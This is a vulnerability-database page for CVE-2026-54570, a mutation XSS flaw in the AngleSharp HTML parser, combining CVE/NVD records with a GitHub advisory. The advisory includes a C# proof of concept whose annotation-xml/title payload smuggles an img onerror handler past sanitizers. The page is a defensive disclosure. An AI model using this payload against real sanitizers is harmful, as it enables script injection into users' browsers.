Vulnerability-Lookup

CVE-2026-54570 (GCVE-0-2026-54570)

Vulnerability from cvelistv5 – Published: 2026-08-18 17:39 – Updated: 2026-08-18 19:27

Title

AngleSharp: HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

Summary

AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.

Severity

6.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-18 19:27 UTC

CWE

CWE-80 - Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/AngleSharp/AngleSharp/security…	x_refsource_CONFIRM
https://github.com/AngleSharp/AngleSharp/commit/8…	x_refsource_MISC
https://github.com/AngleSharp/AngleSharp/releases…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
AngleSharp	AngleSharp	Affected: < 1.5.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54570",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-18T19:27:27.410295Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-18T19:27:44.943Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AngleSharp",
          "vendor": "AngleSharp",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.5.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.9,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-80",
              "description": "CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-18T17:39:51.827Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg"
        },
        {
          "name": "https://github.com/AngleSharp/AngleSharp/commit/8033a5c690af9c2c443f58e34875343fa4cc1d07",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/AngleSharp/AngleSharp/commit/8033a5c690af9c2c443f58e34875343fa4cc1d07"
        },
        {
          "name": "https://github.com/AngleSharp/AngleSharp/releases/tag/1.5.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/AngleSharp/AngleSharp/releases/tag/1.5.0"
        }
      ],
      "source": {
        "advisory": "GHSA-pgww-w46g-26qg",
        "discovery": "UNKNOWN"
      },
      "title": "AngleSharp: HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54570",
    "datePublished": "2026-08-18T17:39:51.827Z",
    "dateReserved": "2026-06-15T19:15:27.343Z",
    "dateUpdated": "2026-08-18T19:27:44.943Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-54570",
      "date": "2026-08-30",
      "epss": "0.00246",
      "percentile": "0.1577"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-54570\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-18T18:18:23.310\",\"lastModified\":\"2026-08-18T20:17:18.530\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"AngleSharp\",\"product\":\"AngleSharp\",\"versions\":[{\"version\":\"\u003c 1.5.0\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N\",\"baseScore\":6.9,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"HIGH\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"REQUIRED\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":1.6,\"impactScore\":4.7}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-08-18T19:27:27.410295Z\",\"id\":\"CVE-2026-54570\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-80\"}]}],\"references\":[{\"url\":\"https://github.com/AngleSharp/AngleSharp/commit/8033a5c690af9c2c443f58e34875343fa4cc1d07\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/AngleSharp/AngleSharp/releases/tag/1.5.0\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-54570\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-08-18T19:27:27.410295Z\"}}}], \"references\": [{\"url\": \"https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-08-18T19:27:40.871Z\"}}], \"cna\": {\"title\": \"AngleSharp: HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass\", \"source\": {\"advisory\": \"GHSA-pgww-w46g-26qg\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 6.9, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"HIGH\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"LOW\"}}], \"affected\": [{\"vendor\": \"AngleSharp\", \"product\": \"AngleSharp\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 1.5.0\"}]}], \"references\": [{\"url\": \"https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg\", \"name\": \"https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/AngleSharp/AngleSharp/commit/8033a5c690af9c2c443f58e34875343fa4cc1d07\", \"name\": \"https://github.com/AngleSharp/AngleSharp/commit/8033a5c690af9c2c443f58e34875343fa4cc1d07\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/AngleSharp/AngleSharp/releases/tag/1.5.0\", \"name\": \"https://github.com/AngleSharp/AngleSharp/releases/tag/1.5.0\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-80\", \"description\": \"CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-08-18T17:39:51.827Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-54570\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-08-18T19:27:44.943Z\", \"dateReserved\": \"2026-06-15T19:15:27.343Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-08-18T17:39:51.827Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-54570

Vulnerability from fkie_nvd - Published: 2026-08-18 18:18 - Updated: 2026-08-18 20:17

Severity

6.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/AngleSharp/AngleSharp/commit/8033a5c690af9c2c443f58e34875343fa4cc1d07
	security-advisories@github.com	https://github.com/AngleSharp/AngleSharp/releases/tag/1.5.0
	security-advisories@github.com	https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AngleSharp",
          "vendor": "AngleSharp",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.5.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0."
    }
  ],
  "id": "CVE-2026-54570",
  "lastModified": "2026-08-18T20:17:18.530",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54570",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-18T19:27:27.410295Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-18T18:18:23.310",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/AngleSharp/AngleSharp/commit/8033a5c690af9c2c443f58e34875343fa4cc1d07"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/AngleSharp/AngleSharp/releases/tag/1.5.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-80"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-PGWW-W46G-26QG

Vulnerability from github – Published: 2026-07-17 21:17 – Updated: 2026-07-17 21:17

Summary

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

Details

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;

public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Severity

6.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "AngleSharp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54570"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-80"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-17T21:17:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe HTML specification requires that a MathML `\u003cannotation-xml\u003e` element with `encoding=\"text/html\"` or `encoding=\"application/xhtml+xml\"` is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.\n\nAngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if `encoding=\"text/html\"` is not treated) when given the same serialized output. Two bugs combine to make this exploitable:\n\n- Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).\n- Unescaped \u003c \u003e in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape \u003c or \u003e characters, only \u0026 and \". This allows injected markup to break out of attribute values on re-parse. _See [Escape \"\u003c\" and \"\u003e\" in attributes when serializing HTML #6235\n](https://github.com/whatwg/html/issues/6235)_\n\n\n### Details\nIn `MathAnnotationXmlElement` (`AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs`):\n```cs\n// Current \u2014 HtmlTip is never set\n: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)\n```\n\nBecause `HtmlTip` is absent, the token dispatch in `Consume()` always sends tokens to `Foreign()` when inside `annotation-xml`, regardless of the encoding attribute. The compensating check in `ForeignNormalTag()` only covers tags in `AllForeignExceptions` and is entirely bypassed during fragment parsing (`innerHTML` setter) due to an `if (!IsFragmentCase)` guard.\n\nIn `HtmlMarkupFormatter.WriteAttributeValue()` (`AngleSharp/Html/HtmlMarkupFormatter.cs`):\n```cs\n// Escapes \u0026 \" and \\u00A0, but NOT \u003c or \u003e\ncase Symbols.Ampersand:    stringBuilder.Append(\"\u0026amp;\");  break;\ncase Symbols.NoBreakSpace: stringBuilder.Append(\"\u0026nbsp;\"); break;\ncase Symbols.DoubleQuote:  stringBuilder.Append(\"\u0026quot;\"); break;\ndefault:                   stringBuilder.Append(value[i]); break; // \u003c and \u003e pass through raw\n```\n\n### PoC\nThe following program demonstrates that AngleSharp\u2019s parser misses the injected `\u003cimg\u003e` element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live `\u003cimg onerror\u003e` trigger.\n```cs\nusing System;\nusing System.Linq;\nusing AngleSharp.Html.Parser;\n\t\t\t\npublic class Program\n{\n    static readonly string Payload1 =\n        \"\u003cmath\u003e\" +\n        \"\u003cannotation-xml encoding=\\\"text/html\\\"\u003e\" +\n        \"\u003ctitle\u003e\u003ca encoding=\\\"\u003c/title\u003e\u003cimg src=x onerror=alert()\u003e\\\"\u003e\" +\n        \"\u003c/annotation-xml\u003e\u003c/math\u003e\";\n\n    public static void Main()\n    {\n        var parser = new HtmlParser();\n\n        Check(parser, Payload1, \"IMG\",\n            \"AngleSharp missed \u003cimg\u003e \u2013 VULNERABLE (mXSS via attribute serialization)\",\n            \"AngleSharp found \u003cimg\u003e \u2013 SAFE\");\n    }\n\n    static void Check(HtmlParser parser, string html, string tag,\n                      string failMsg, string passMsg)\n    {\n        var doc     = parser.ParseDocument(html);\n        var tags    = doc.All.Select(e =\u003e e.TagName).ToHashSet();\n        var found   = tags.Contains(tag);\n\n        Console.WriteLine(found ? passMsg : failMsg);\n        Console.WriteLine(\"Serialized output:\");\n        Console.WriteLine(doc.DocumentElement.OuterHtml);\n    }\n}\n```\n\nOutput:\n```\nAngleSharp missed \u003cimg\u003e \u2013 VULNERABLE (mXSS via attribute serialization)\nSerialized output:\n\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cmath\u003e\u003cannotation-xml encoding=\"text/html\"\u003e\u003ctitle\u003e\u003ca encoding=\"\u003c/title\u003e\u003cimg src=x onerror=alert()\u003e\"\u003e\u003c/a\u003e\u003c/title\u003e\u003c/annotation-xml\u003e\u003c/math\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\n_The `title` tag may be swapped out for `style` and other RCDATA elements._\n\nWhen a browser receives this string and parses `annotation-xml encoding=\"text/html\"` as an HTML integration point, the `\u003c/title\u003e` closes the title element and the `\u003cimg\u003e` fires its onerror handler.\n\n### Impact\nImplemented HTML sanitizers that depend and trust AngleSharp\u0027s ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.\n\nThis reduces AngleSharp\u0027s credibility as a conformant HTML parser.",
  "id": "GHSA-pgww-w46g-26qg",
  "modified": "2026-07-17T21:17:10Z",
  "published": "2026-07-17T21:17:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AngleSharp/AngleSharp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AngleSharp/AngleSharp/releases/tag/1.5.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-54570 (GCVE-0-2026-54570)

FKIE_CVE-2026-54570

GHSA-PGWW-W46G-26QG

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature